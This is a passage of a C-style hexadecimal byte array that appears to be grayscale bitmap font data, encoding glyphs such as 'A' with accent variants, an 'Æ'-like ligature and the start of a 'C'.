0x37, 0x00, 0x00, 0x00, 0x00, 0x00, 0x9B, 0xFF, 0xFF, 0xFF, 0x6E, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x02, 0xE2, 0xFF, 0xFF, 0xFF, 0x63, 0x63, 0x63, 0x63, 0x63, 0x63, 0xA5, 0xFF, 0xFF,
0xFF, 0xCB, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x45, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x28, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0xA5, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0x84, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0F, 0xF6, 0xFF, 0xFF, 0xE6, 0xB2, 0xB2, 0xB2, 0xB2, 0xB2,
0xB2, 0xB2, 0xB2, 0xB2, 0xFD, 0xFF, 0xFF, 0xE0, 0x01, 0x00, 0x00, 0x00, 0x00, 0x66, 0xFF, 0xFF,
0xFF, 0x6E, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC1, 0xFF, 0xFF, 0xFF, 0x3E,
0x00, 0x00, 0x00, 0x00, 0xC6, 0xFF, 0xFF, 0xFB, 0x16, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x6A, 0xFF, 0xFF, 0xFF, 0x9B, 0x00, 0x00, 0x00, 0x28, 0xFF, 0xFF, 0xFF, 0xB5, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x17, 0xFC, 0xFF, 0xFF, 0xF0, 0x08, 0x00,
0x00, 0x87, 0xFF, 0xFF, 0xFF, 0x58, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0xBD, 0xFF, 0xFF, 0xFF, 0x55, 0x00, 0x03, 0xE4, 0xFF, 0xFF, 0xF2, 0x09, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x66, 0xFF, 0xFF, 0xFF, 0xB2, 0x00, 0x47, 0xFF,
0xFF, 0xFF, 0x9F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x14,
0xFB, 0xFF, 0xFF, 0xFA, 0x14, 0x97, 0xFF, 0xFF, 0xFF, 0x43, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xB9, 0xFF, 0xFF, 0xFF, 0x5A, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x0B, 0x8E, 0x8F, 0x8F, 0x33, 0x00, 0x55, 0x8F, 0x8F, 0x77, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1B, 0xFF, 0xFF, 0xFF, 0x64, 0x00, 0xA1,
0xFF, 0xFF, 0xDE, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x1B, 0xFF, 0xFF, 0xFF, 0x64, 0x00, 0xA1, 0xFF, 0xFF, 0xDE, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1B, 0xFF, 0xFF, 0xFF, 0x64, 0x00, 0xA1, 0xFF, 0xFF,
0xDE, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x48,
0x49, 0x49, 0x17, 0x00, 0x29, 0x49, 0x49, 0x3B, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x85,
0xC8, 0xC8, 0xC8, 0x96, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x0C, 0xF4, 0xFF, 0xFF, 0xFF, 0xFC, 0x17, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x61, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0x70, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0xC1, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xCD, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x23, 0xFE, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0x2A, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x82, 0xFF, 0xFF, 0xFF, 0x7F, 0xFF, 0xFF, 0xFF, 0x87, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0xE0, 0xFF, 0xFF, 0xC6, 0x0C, 0xF6, 0xFF, 0xFF, 0xE2,
0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x42, 0xFF, 0xFF,
0xFF, 0x68, 0x00, 0xAB, 0xFF, 0xFF, 0xFF, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0xA3, 0xFF, 0xFF, 0xF9, 0x11, 0x00, 0x53, 0xFF, 0xFF, 0xFF, 0x9D, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0E, 0xF5, 0xFF, 0xFF, 0xAD, 0x00,
0x00, 0x08, 0xF2, 0xFF, 0xFF, 0xF1, 0x09, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x63, 0xFF, 0xFF, 0xFF, 0x50, 0x00, 0x00, 0x00, 0xA3, 0xFF, 0xFF, 0xFF, 0x57, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC4, 0xFF, 0xFF, 0xEC, 0x06, 0x00, 0x00, 0x00,
0x4B, 0xFF, 0xFF, 0xFF, 0xB4, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x25, 0xFF,
0xFF, 0xFF, 0x95, 0x00, 0x00, 0x00, 0x00, 0x05, 0xED, 0xFF, 0xFF, 0xFB, 0x15, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x84, 0xFF, 0xFF, 0xFF, 0x37, 0x00, 0x00, 0x00, 0x00, 0x00, 0x9B,
0xFF, 0xFF, 0xFF, 0x6E, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0xE2, 0xFF, 0xFF, 0xFF,
0x63, 0x63, 0x63, 0x63, 0x63, 0x63, 0xA5, 0xFF, 0xFF, 0xFF, 0xCB, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x45, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0x28, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xA5, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x84, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0F,
0xF6, 0xFF, 0xFF, 0xE6, 0xB2, 0xB2, 0xB2, 0xB2, 0xB2, 0xB2, 0xB2, 0xB2, 0xB2, 0xFD, 0xFF, 0xFF,
0xE0, 0x01, 0x00, 0x00, 0x00, 0x00, 0x66, 0xFF, 0xFF, 0xFF, 0x6E, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0xC1, 0xFF, 0xFF, 0xFF, 0x3E, 0x00, 0x00, 0x00, 0x00, 0xC6, 0xFF, 0xFF,
0xFB, 0x16, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x6A, 0xFF, 0xFF, 0xFF, 0x9B,
0x00, 0x00, 0x00, 0x28, 0xFF, 0xFF, 0xFF, 0xB5, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x17, 0xFC, 0xFF, 0xFF, 0xF0, 0x08, 0x00, 0x00, 0x87, 0xFF, 0xFF, 0xFF, 0x58, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xBD, 0xFF, 0xFF, 0xFF, 0x55, 0x00,
0x03, 0xE4, 0xFF, 0xFF, 0xF2, 0x09, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x66, 0xFF, 0xFF, 0xFF, 0xB2, 0x00, 0x47, 0xFF, 0xFF, 0xFF, 0x9F, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x14, 0xFB, 0xFF, 0xFF, 0xFA, 0x14, 0x97, 0xFF,
0xFF, 0xFF, 0x43, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0xB9, 0xFF, 0xFF, 0xFF, 0x5A, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x19, 0x84,
0xA4, 0x92, 0x38, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x28, 0xEC, 0xFF, 0xFF, 0xFF, 0xFD, 0x60, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xB9, 0xFF, 0xB3, 0x48, 0x84,
0xFF, 0xF4, 0x0F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0xF3, 0xF9, 0x12, 0x00, 0x00, 0xC1, 0xFF, 0x3F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xF1, 0xFB, 0x16, 0x00, 0x00, 0xC7, 0xFF,
0x3C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0xB1, 0xFF, 0xC0, 0x63, 0x96, 0xFF, 0xEF, 0x0C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x20, 0xE3, 0xFF, 0xFF, 0xFF, 0xF8, 0x54, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10,
0x72, 0x9C, 0x81, 0x2B, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x85, 0xC8, 0xC8, 0xC8, 0x96, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0C, 0xF4, 0xFF, 0xFF,
0xFF, 0xFC, 0x17, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x61, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x70, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC1, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xCD, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x23, 0xFE, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x2A, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x82, 0xFF, 0xFF, 0xFF, 0x7F, 0xFF, 0xFF, 0xFF, 0x87,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0xE0, 0xFF,
0xFF, 0xC6, 0x0C, 0xF6, 0xFF, 0xFF, 0xE2, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x42, 0xFF, 0xFF, 0xFF, 0x68, 0x00, 0xAB, 0xFF, 0xFF, 0xFF, 0x40, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xA3, 0xFF, 0xFF, 0xF9, 0x11,
0x00, 0x53, 0xFF, 0xFF, 0xFF, 0x9D, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x0E, 0xF5, 0xFF, 0xFF, 0xAD, 0x00, 0x00, 0x08, 0xF2, 0xFF, 0xFF, 0xF1, 0x09, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x63, 0xFF, 0xFF, 0xFF, 0x50, 0x00, 0x00, 0x00,
0xA3, 0xFF, 0xFF, 0xFF, 0x57, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC4,
0xFF, 0xFF, 0xEC, 0x06, 0x00, 0x00, 0x00, 0x4B, 0xFF, 0xFF, 0xFF, 0xB4, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x25, 0xFF, 0xFF, 0xFF, 0x95, 0x00, 0x00, 0x00, 0x00, 0x05, 0xED,
0xFF, 0xFF, 0xFB, 0x15, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x84, 0xFF, 0xFF, 0xFF,
0x37, 0x00, 0x00, 0x00, 0x00, 0x00, 0x9B, 0xFF, 0xFF, 0xFF, 0x6E, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x02, 0xE2, 0xFF, 0xFF, 0xFF, 0x63, 0x63, 0x63, 0x63, 0x63, 0x63, 0xA5, 0xFF, 0xFF,
0xFF, 0xCB, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x45, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x28, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0xA5, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0x84, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0F, 0xF6, 0xFF, 0xFF, 0xE6, 0xB2, 0xB2, 0xB2, 0xB2, 0xB2,
0xB2, 0xB2, 0xB2, 0xB2, 0xFD, 0xFF, 0xFF, 0xE0, 0x01, 0x00, 0x00, 0x00, 0x00, 0x66, 0xFF, 0xFF,
0xFF, 0x6E, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC1, 0xFF, 0xFF, 0xFF, 0x3E,
0x00, 0x00, 0x00, 0x00, 0xC6, 0xFF, 0xFF, 0xFB, 0x16, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x6A, 0xFF, 0xFF, 0xFF, 0x9B, 0x00, 0x00, 0x00, 0x28, 0xFF, 0xFF, 0xFF, 0xB5, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x17, 0xFC, 0xFF, 0xFF, 0xF0, 0x08, 0x00,
0x00, 0x87, 0xFF, 0xFF, 0xFF, 0x58, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0xBD, 0xFF, 0xFF, 0xFF, 0x55, 0x00, 0x03, 0xE4, 0xFF, 0xFF, 0xF2, 0x09, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x66, 0xFF, 0xFF, 0xFF, 0xB2, 0x00, 0x47, 0xFF,
0xFF, 0xFF, 0x9F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x14,
0xFB, 0xFF, 0xFF, 0xFA, 0x14, 0x97, 0xFF, 0xFF, 0xFF, 0x43, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xB9, 0xFF, 0xFF, 0xFF, 0x5A, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x24, 0xC8, 0xC8, 0xC8, 0xC8, 0xC8, 0xC8, 0xC8, 0xC8, 0xC8, 0xC8,
0xC8, 0xC8, 0xC8, 0xC8, 0xC8, 0xC8, 0xC8, 0xC8, 0xC8, 0xC8, 0xC8, 0xC8, 0x27, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x8B, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x38, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x07, 0xEB, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x38, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x5B, 0xFF, 0xFF, 0xFF, 0xA1, 0x73, 0x73, 0xD5, 0xFF,
0xFF, 0xFF, 0x85, 0x84, 0x84, 0x84, 0x84, 0x84, 0x84, 0x84, 0x84, 0x84, 0x84, 0x84, 0x84, 0x18,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC3, 0xFF, 0xFF, 0xF5, 0x0F, 0x00, 0x00, 0xA8,
0xFF, 0xFF, 0xFF, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2B, 0xFF, 0xFF, 0xFF, 0xA0, 0x00, 0x00, 0x00,
0xA8, 0xFF, 0xFF, 0xFF, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x93, 0xFF, 0xFF, 0xFF, 0x3B, 0x00, 0x00,
0x00, 0xA8, 0xFF, 0xFF, 0xFF, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0A, 0xF0, 0xFF, 0xFF, 0xD6, 0x00, 0x00,
0x00, 0x00, 0xA8, 0xFF, 0xFF, 0xFF, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x63, 0xFF, 0xFF, 0xFF, 0x72, 0x00,
0x00, 0x00, 0x00, 0xA8, 0xFF, 0xFF, 0xFF, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xCB, 0xFF, 0xFF, 0xF9, 0x14,
0x00, 0x00, 0x00, 0x00, 0xA8, 0xFF, 0xFF, 0xFF, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x33, 0xFF, 0xFF, 0xFF, 0xA8,
0x00, 0x00, 0x00, 0x00, 0x00, 0xA8, 0xFF, 0xFF, 0xFF, 0x65, 0x63, 0x63, 0x63, 0x63, 0x63, 0x63,
0x63, 0x63, 0x63, 0x63, 0x63, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x9B, 0xFF, 0xFF, 0xFF,
0x44, 0x00, 0x00, 0x00, 0x00, 0x00, 0xA8, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0E, 0xF4, 0xFF, 0xFF,
0xDD, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0xA8, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x6B, 0xFF, 0xFF,
0xFF, 0x7A, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xA8, 0xFF, 0xFF, 0xFF, 0xC3, 0xC2, 0xC2, 0xC2,
0xC2, 0xC2, 0xC2, 0xC2, 0xC2, 0xC2, 0xC2, 0xC2, 0x14, 0x00, 0x00, 0x00, 0x00, 0x00, 0xD2, 0xFF,
0xFF, 0xFF, 0x86, 0x6B, 0x6B, 0x6B, 0x6B, 0x6B, 0x6B, 0xD2, 0xFF, 0xFF, 0xFF, 0x01, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x3B, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x01, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xA3,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x01,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x13,
0xF7, 0xFF, 0xFF, 0xEE, 0xC3, 0xC3, 0xC3, 0xC3, 0xC3, 0xC3, 0xC3, 0xC3, 0xF0, 0xFF, 0xFF, 0xFF,
0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x73, 0xFF, 0xFF, 0xFF, 0x7A, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xA8, 0xFF, 0xFF,
0xFF, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x01, 0xDA, 0xFF, 0xFF, 0xFD, 0x1D, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xA8, 0xFF,
0xFF, 0xFF, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x43, 0xFF, 0xFF, 0xFF, 0xBB, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xA8,
0xFF, 0xFF, 0xFF, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0xAB, 0xFF, 0xFF, 0xFF, 0x5B, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0xA8, 0xFF, 0xFF, 0xFF, 0x4E, 0x4C, 0x4C, 0x4C, 0x4C, 0x4C, 0x4C, 0x4C, 0x4C, 0x4C, 0x4C, 0x4C,
0x4C, 0x24, 0x18, 0xFA, 0xFF, 0xFF, 0xF1, 0x09, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0xA8, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0x89, 0x7B, 0xFF, 0xFF, 0xFF, 0x9C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0xA8, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0x89, 0xD1, 0xFF, 0xFF, 0xFF, 0x3C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0xA3, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0x84, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0D, 0x3F, 0x56,
0x63, 0x61, 0x3B, 0x15, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x4F, 0xB7, 0xF9, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xEF, 0xA3, 0x19, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1E, 0xB9, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xF2, 0x74, 0x05, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x23, 0xE1, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xF0, 0xED, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xA3, 0x00, 0x00,
0x00, 0x00, 0x00, 0x0C, 0xE2, 0xFF, 0xFF, 0xFF, 0xFF, 0xB5, 0x53, 0x21, 0x00, 0x00, 0x0E, 0x46,
0xC7, 0xFF, 0xFF, 0xFF, 0xFF, 0x66, 0x00, 0x00, 0x00, 0x00, 0x7F, 0xFF, 0xFF, 0xFF, 0xFA, 0x72,
0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x79, 0xFF, 0xFF, 0xFF, 0xF8, 0x28, 0x00, 0x00,
0x17, 0xF3, 0xFF, 0xFF, 0xFF, 0x41, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x9E, 0xFF, 0xFF, 0xFF, 0x80, 0x00, 0x00, 0x95, 0xFF, 0xFF, 0xFF, 0xAE, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x18, 0xFB, 0xFF, 0xFF, 0xCA, 0x00, 0x08, 0xFB, 0xFF,
0xFF, 0xFD, 0x2C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xA8,
0xEF, 0xEF, 0xEA, 0x05, 0x2C, 0xFF, 0xFF, 0xFF, 0xAF, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
